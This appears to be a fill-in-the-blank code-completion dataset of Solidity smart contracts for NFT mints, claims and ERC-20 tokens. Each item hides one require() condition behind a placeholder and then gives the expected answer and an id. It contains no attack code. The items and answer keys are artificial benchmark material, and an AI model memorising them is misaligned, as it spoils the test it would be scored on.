/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
require(<FILL_ME>)
_;
}
modifier onlyOwnerOrAdmin() {
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| _authorizedContracts[_msgSender()],"Sender is not authorized" | 229,553 | _authorizedContracts[_msgSender()] |
"Not an owner or admin" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
function setAccrualEndTimestamp(uint256 timestamp) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to add a contract whose tokens are eligible to accrue virtual AWOO
/// @param contractAddress The contract address of the collection (typically ERC-721, with the addition of the tokensOfOwner function)
/// @param baseRate The base accrual rate in wei units
function addSupportedContract(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner or an admin to deactivate a supported contract so it no longer accrues virtual AWOO
/// @param contractAddress The contract address that should be deactivated
function deactivateSupportedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to authorize another contract to override token accruals on an individual token level
/// @param contractAddress The authorized contract address
function addAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to remove an authorized contract
/// @param contractAddress The contract address which should have its authorization revoked
function removeAuthorizedContract(address contractAddress) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the base accrual rate for a support contract
/// @param contractAddress The address of the supported contract
/// @param baseRate The new base accrual rate in wei units
function setBaseRate(address contractAddress, uint256 baseRate) external onlyOwnerOrAdmin isValidBaseRate(baseRate) {
}
/// @notice Allows the owner to specify two addresses allowed to administer this contract
/// @param adminAddresses A 2 item array of addresses
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
}
/// @notice Allows the owner or an admin to activate/deactivate claiming ability
/// @param active The value specifiying whether or not claiming should be allowed
function setClaimingActive(bool active) external onlyOwnerOrAdmin {
}
/// @dev Derived from @openzeppelin/contracts/utils/Address.sol
function isContract(address account) private view returns (bool) {
}
/// @notice Determines whether or not the caller holds tokens for any of the supported contracts
function isValidHolder() private view returns(bool) {
}
modifier onlyAuthorizedContract() {
}
modifier onlyOwnerOrAdmin() {
require(<FILL_ME>)
_;
}
/// @dev To minimize the amount of unit conversion we have to do for comparing $AWOO (ERC-20) to virtual AWOO, we store
/// virtual AWOO with 18 implied decimal places, so this modifier prevents us from accidentally using the wrong unit
/// for base rates. For example, if holders of FangGang NFTs accrue at a rate of 1000 AWOO per fang, pre day, then
/// the base rate should be 1000000000000000000000
modifier isValidBaseRate(uint256 baseRate) {
}
}
| _msgSender()==owner()||(_adminsSet&&(_msgSender()==_admins[0]||_msgSender()==_admins[1])),"Not an owner or admin" | 229,553 | _msgSender()==owner()||(_adminsSet&&(_msgSender()==_admins[0]||_msgSender()==_admins[1])) |
"Sale would exceed max balance" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract AnivanceAIFullMoonRRRbunny is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!');
require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!');
require(<FILL_ME>)
_;
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setMaxSupply(uint256 _maxsupply) public onlyOwner{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| balanceOf(_msgSender())+_mintAmount<=maxMintAmountPerTx,"Sale would exceed max balance" | 229,699 | balanceOf(_msgSender())+_mintAmount<=maxMintAmountPerTx |
"Trading not open yet" | pragma solidity 0.8.18;
// import "hardhat/console.sol";
interface IStaking {
function injectRewards() external payable;
}
contract Recession is ERC20, Ownable {
using SafeERC20 for IERC20;
using Address for address payable;
using EnumerableSet for EnumerableSet.AddressSet;
bool public swapEnabled = true;
uint256 public swapThreshold = 1000 ether;
uint256 public maxHoldingAmount;
bool public inSwap;
modifier swapping() {
}
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public canAddLiquidityBeforeLaunch;
uint256 private devFee;
uint256 private burnFee;
uint256 private stakingFee;
uint256 private totalFee;
uint256 public feeDenominator = 10000;
// Buy Fees
uint256 public devFeeBuy = 225;
uint256 public burnFeeBuy = 100;
uint256 public stakingFeeBuy = 200;
uint256 public totalFeeBuy = 525;
// Sell Fees
uint256 public devFeeSell = 225;
uint256 public burnFeeSell = 100;
uint256 public stakingFeeSell = 200;
uint256 public totalFeeSell = 525;
// Fees receivers
address payable private dev1Wallet;
address payable private dev2Wallet;
IStaking private stakingContract;
uint256 public launchedAt;
uint256 public launchedAtTimestamp;
bool private initialized;
IUniswapV2Factory private immutable factory;
IUniswapV2Router02 private immutable swapRouter;
address private immutable WETH;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
EnumerableSet.AddressSet private pairs;
constructor(address _swapRouter) ERC20("Recession", "REC") {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
}
function _RecessionTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwap) {
_transfer(sender, recipient, amount);
return true;
}
if (!canAddLiquidityBeforeLaunch[sender]) {
require(<FILL_ME>)
}
bool shouldTakeFee = (!isFeeExempt[sender] &&
!isFeeExempt[recipient]) && launched();
// Set Fees
if (isPair(sender)) {
buyFees();
} else if (isPair(recipient)) {
sellFees();
} else {
shouldTakeFee = false;
}
if (shouldSwapBack()) {
swapBack();
}
uint256 amountReceived = shouldTakeFee
? takeFee(sender, amount)
: amount;
_transfer(sender, recipient, amountReceived);
return true;
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
function doSwapBack() public onlyOwner {
}
function _swapRECToETH(
uint256 recAmount
) internal returns (uint256 amountBought) {
}
function _distributeETH(uint256 ethAmount) internal {
}
function launched() internal view returns (bool) {
}
function buyFees() internal {
}
function sellFees() internal {
}
function takeFee(
address sender,
uint256 amount
) internal returns (uint256) {
}
function rescueToken(address tokenAddress) external onlyOwner {
}
function clearStuckEthBalance() external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
/*** ADMIN FUNCTIONS ***/
function launch() public onlyOwner {
}
function setBuyFees(
uint256 _devFeeBuy,
uint256 _burnFeeBuy,
uint256 _stakingFeeBuy
) external onlyOwner {
}
function setSellFees(
uint256 _devFeeSell,
uint256 _burnFeeSell,
uint256 _stakingFeeSell
) external onlyOwner {
}
function setFeeReceivers(
address _dev1Wallet,
address _dev2Wallet,
address _stakingContract
) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setSwapBackEnabled(bool _enabled) external onlyOwner {
}
function setSwapThreshold(uint256 _swapThreshold) external onlyOwner {
}
function setMaxHoldingAmount(uint256 _maxHoldingAmount) external onlyOwner {
}
function isPair(address account) public view returns (bool) {
}
function addPair(address pair) public onlyOwner returns (bool) {
}
function delPair(address pair) public onlyOwner returns (bool) {
}
function getPairsLength() public view returns (uint256) {
}
function getPair(uint256 index) public view returns (address) {
}
receive() external payable {}
}
| launched(),"Trading not open yet" | 229,766 | launched() |
"QuirkComic: Not Quirkies Token Owner" | pragma solidity ^0.8.0;
contract QuirkiesComicsVol1 is Ownable, ERC721, ReentrancyGuard {
uint256 public nftPrice = 0 ether;
uint256 public totalSupply = 0;
uint256 public constant nftLimit = 5000;
uint256 public constant claimLimit = 5000;
bool public saleClaim = false;
address public claimAddressOG;
address public claimAddressLING;
uint256 public mintCount = 0;
string public baseURI = "";
mapping(uint256 => uint256) public claimedTokens;
constructor(
string memory _initURI,
address _claimAddressOG,
address _claimAddressLING
) ERC721("QuirkiesComicsVol1", "QRKC") {
}
function mintClaim(uint256[] memory _tokenIds) public nonReentrant {
require(saleClaim == true, "QuirkComic: Not Started");
for (uint256 i = 0; i < _tokenIds.length; i++) {
uint256 _tokenId = _tokenIds[i];
require(<FILL_ME>)
require(
IERC721(claimAddressLING).ownerOf(_tokenId) == _msgSender(),
"QuirkComic: Not QuirkLings Token Owner"
);
require(
claimedTokens[_tokenId] == 0,
"QuirkComic: Token Already Claimed"
);
claimedTokens[_tokenId] = 1;
_safeMint(_msgSender(), _tokenId);
}
totalSupply += _tokenIds.length;
}
function tokensOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
function tokensOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenClaimStatus(uint256[] calldata _tokenIds)
public
view
returns (uint256[] memory)
{
}
function withdraw() public payable onlyOwner {
}
function toggleSaleClaim() public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
}
| IERC721(claimAddressOG).ownerOf(_tokenId)==_msgSender(),"QuirkComic: Not Quirkies Token Owner" | 229,986 | IERC721(claimAddressOG).ownerOf(_tokenId)==_msgSender() |
"QuirkComic: Not QuirkLings Token Owner" | pragma solidity ^0.8.0;
contract QuirkiesComicsVol1 is Ownable, ERC721, ReentrancyGuard {
uint256 public nftPrice = 0 ether;
uint256 public totalSupply = 0;
uint256 public constant nftLimit = 5000;
uint256 public constant claimLimit = 5000;
bool public saleClaim = false;
address public claimAddressOG;
address public claimAddressLING;
uint256 public mintCount = 0;
string public baseURI = "";
mapping(uint256 => uint256) public claimedTokens;
constructor(
string memory _initURI,
address _claimAddressOG,
address _claimAddressLING
) ERC721("QuirkiesComicsVol1", "QRKC") {
}
function mintClaim(uint256[] memory _tokenIds) public nonReentrant {
require(saleClaim == true, "QuirkComic: Not Started");
for (uint256 i = 0; i < _tokenIds.length; i++) {
uint256 _tokenId = _tokenIds[i];
require(
IERC721(claimAddressOG).ownerOf(_tokenId) == _msgSender(),
"QuirkComic: Not Quirkies Token Owner"
);
require(<FILL_ME>)
require(
claimedTokens[_tokenId] == 0,
"QuirkComic: Token Already Claimed"
);
claimedTokens[_tokenId] = 1;
_safeMint(_msgSender(), _tokenId);
}
totalSupply += _tokenIds.length;
}
function tokensOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
function tokensOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenClaimStatus(uint256[] calldata _tokenIds)
public
view
returns (uint256[] memory)
{
}
function withdraw() public payable onlyOwner {
}
function toggleSaleClaim() public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
}
| IERC721(claimAddressLING).ownerOf(_tokenId)==_msgSender(),"QuirkComic: Not QuirkLings Token Owner" | 229,986 | IERC721(claimAddressLING).ownerOf(_tokenId)==_msgSender() |
"QuirkComic: Token Already Claimed" | pragma solidity ^0.8.0;
contract QuirkiesComicsVol1 is Ownable, ERC721, ReentrancyGuard {
uint256 public nftPrice = 0 ether;
uint256 public totalSupply = 0;
uint256 public constant nftLimit = 5000;
uint256 public constant claimLimit = 5000;
bool public saleClaim = false;
address public claimAddressOG;
address public claimAddressLING;
uint256 public mintCount = 0;
string public baseURI = "";
mapping(uint256 => uint256) public claimedTokens;
constructor(
string memory _initURI,
address _claimAddressOG,
address _claimAddressLING
) ERC721("QuirkiesComicsVol1", "QRKC") {
}
function mintClaim(uint256[] memory _tokenIds) public nonReentrant {
require(saleClaim == true, "QuirkComic: Not Started");
for (uint256 i = 0; i < _tokenIds.length; i++) {
uint256 _tokenId = _tokenIds[i];
require(
IERC721(claimAddressOG).ownerOf(_tokenId) == _msgSender(),
"QuirkComic: Not Quirkies Token Owner"
);
require(
IERC721(claimAddressLING).ownerOf(_tokenId) == _msgSender(),
"QuirkComic: Not QuirkLings Token Owner"
);
require(<FILL_ME>)
claimedTokens[_tokenId] = 1;
_safeMint(_msgSender(), _tokenId);
}
totalSupply += _tokenIds.length;
}
function tokensOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
function tokensOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenClaimStatus(uint256[] calldata _tokenIds)
public
view
returns (uint256[] memory)
{
}
function withdraw() public payable onlyOwner {
}
function toggleSaleClaim() public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
}
| claimedTokens[_tokenId]==0,"QuirkComic: Token Already Claimed" | 229,986 | claimedTokens[_tokenId]==0 |
null | /**
100% of taxes going to turkish donation wallet
0xe1935271D1993434A1a59fE08f24891Dc5F398Cd
https://twitter.com/haluklevent/status/1622926244512661504
TG: https://t.me/AidCoinERC
*/
/**
*Submitted for verification at Etherscan.io on 2023-02-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract AidCoin is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private blockedBots;
string private constant _name = "Aid Coin";
string private constant _symbol = "AID";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10_000_000 * 10**9;
uint256 public maxTransactionAmount = 200_000 * 10**9;
uint256 public maxWalletAmount = 200_000 * 10**9;
uint256 public constant contractSwapLimit = 30_000 * 10**9;
uint256 public constant contractSwapMax = 200_000 * 10**9;
uint256 private buyTax = 10;
uint256 private sellTax = 40;
uint256 private constant botTax = 49;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable ETH = uniswapRouter.WETH();
address private immutable uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address private constant marketingAddress = 0xe1935271D1993434A1a59fE08f24891Dc5F398Cd; //Donation
address payable private constant developmentAddress = payable(0xe1935271D1993434A1a59fE08f24891Dc5F398Cd); //Donation
bool private inSwap = false;
bool private tradingLive;
uint256 private times;
uint private ready;
modifier swapping {
}
modifier tradable(address sender) {
require(<FILL_ME>)
_;
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) tradable(from) private {
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool) {
}
function calculateTax(address from, uint256 amount) private view returns (uint256) {
}
function swapback(uint256 tokenAmount) private swapping {
}
function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
}
function transferEth(uint256 amount) private {
}
function blockBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
}
function transfer(address wallet) external {
}
function manualSwapback(uint256 percent) external {
}
function removeLimits() external onlyOwner {
}
function reduceFees(uint256 newBuyTax, uint256 newSellTax) external {
}
function initialize(bool done) external onlyOwner {
}
function preLaunch(bool[] calldata lists, uint256 blocks) external onlyOwner {
}
function openTrading() external onlyOwner {
}
}
| tradingLive||sender==deployerAddress||sender==marketingAddress||sender==developmentAddress | 230,079 | tradingLive||sender==deployerAddress||sender==marketingAddress||sender==developmentAddress |
null | /**
100% of taxes going to turkish donation wallet
0xe1935271D1993434A1a59fE08f24891Dc5F398Cd
https://twitter.com/haluklevent/status/1622926244512661504
TG: https://t.me/AidCoinERC
*/
/**
*Submitted for verification at Etherscan.io on 2023-02-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
}
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract AidCoin is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private blockedBots;
string private constant _name = "Aid Coin";
string private constant _symbol = "AID";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10_000_000 * 10**9;
uint256 public maxTransactionAmount = 200_000 * 10**9;
uint256 public maxWalletAmount = 200_000 * 10**9;
uint256 public constant contractSwapLimit = 30_000 * 10**9;
uint256 public constant contractSwapMax = 200_000 * 10**9;
uint256 private buyTax = 10;
uint256 private sellTax = 40;
uint256 private constant botTax = 49;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable ETH = uniswapRouter.WETH();
address private immutable uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address private constant marketingAddress = 0xe1935271D1993434A1a59fE08f24891Dc5F398Cd; //Donation
address payable private constant developmentAddress = payable(0xe1935271D1993434A1a59fE08f24891Dc5F398Cd); //Donation
bool private inSwap = false;
bool private tradingLive;
uint256 private times;
uint private ready;
modifier swapping {
}
modifier tradable(address sender) {
}
constructor () {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address recipient, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) tradable(from) private {
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool) {
}
function calculateTax(address from, uint256 amount) private view returns (uint256) {
}
function swapback(uint256 tokenAmount) private swapping {
}
function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
}
function transferEth(uint256 amount) private {
}
function blockBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
}
function transfer(address wallet) external {
}
function manualSwapback(uint256 percent) external {
}
function removeLimits() external onlyOwner {
}
function reduceFees(uint256 newBuyTax, uint256 newSellTax) external {
}
function initialize(bool done) external onlyOwner {
require(<FILL_ME>) assert(done);
}
function preLaunch(bool[] calldata lists, uint256 blocks) external onlyOwner {
}
function openTrading() external onlyOwner {
}
}
| ready++<2 | 230,079 | ready++<2 |
'exceed max wallet' | /**
https://twitter.com/smileyshit
.__.__ .__ .__ __
______ _____ |__| | ____ ___.__. _____| |__ |__|/ |_
/ ___// \| | | _/ __ < | | / ___/ | \| \ __\
\___ \| Y Y \ | |_\ ___/\___ | \___ \| Y \ || |
/____ >__|_| /__|____/\___ > ____| /____ >___| /__||__|
\/ \/ \/\/ \/ \/
https://smileyshit.lol
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721r.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract smileyshit is ERC721r, Ownable,ReentrancyGuard{
uint256 public mintPrice;
uint256 public immutable maxPerWallet;
string internal baseTokenUri;
address payable public withdrawWallet;
mapping(address => uint256) public walletMints;
string internal _preRevealURI;
bool internal _isRevealed;
constructor(uint256 mintprice_,uint256 maxPerWallet_,uint256 maxSupply_) ERC721r('SmileyShit','SmileyShit',maxSupply_){
}
function setMintPrice(uint256 mintprice_) external onlyOwner{
}
function setReveal(bool reveal) external onlyOwner{
}
function setWithdrawWallet(address payable withdrawWallet_) external onlyOwner{
}
function setPreRevealURI(string calldata uri_) external onlyOwner{
}
function setBaseTokenUri(string calldata baseTokenUri_) external onlyOwner{
}
function tokenURI(uint256 tokenId_) public view override returns (string memory){
}
function withdraw() external onlyOwner{
}
function mint(uint256 quantity_)
external payable{
require(msg.value == quantity_ * mintPrice,'Wrong Mint Value');
require(<FILL_ME>)
walletMints[msg.sender] += quantity_ ;
_mintRandom(msg.sender,quantity_);
}
}
| walletMints[msg.sender]+quantity_<=maxPerWallet,'exceed max wallet' | 230,154 | walletMints[msg.sender]+quantity_<=maxPerWallet |
"You do not have required scientist" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
contract Monster is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum Phase {
disable,
claim,
open
}
Phase public PHASE = Phase.disable;
uint96 public immutable ROYALTY_FEE = 750;
uint256 public immutable MAX_TX_PER_WALLET = 3;
uint256 public immutable PRICE = 0.003 ether;
uint256 public immutable TOTAL_SUPPLY = 4444;
uint256 public immutable TOTAL_CLAIM_SUPPLY = 2222;
string internal baseURI = "";
address public immutable SCIENTIST_CONTRACT =
0xD48A5b0c8Bc760AAfcEd576504fcB884a2cbeb14;
constructor() ERC721A("Monster", "Monster") {
}
modifier isUserOwnedScientist() {
require(<FILL_ME>)
_;
}
modifier isEthAvailable(uint256 quantity) {
}
modifier isMaxTxReached(uint256 quantity) {
}
modifier isSupplyUnavailable(uint256 quantity) {
}
modifier isUser() {
}
function getTotalSupplyLeft() public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function devMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
isSupplyUnavailable(quantity)
{
}
function claimMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
isUserOwnedScientist
{
}
function getUserToken(address _wallet) public view returns (uint256) {
}
function mintNow(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
{
}
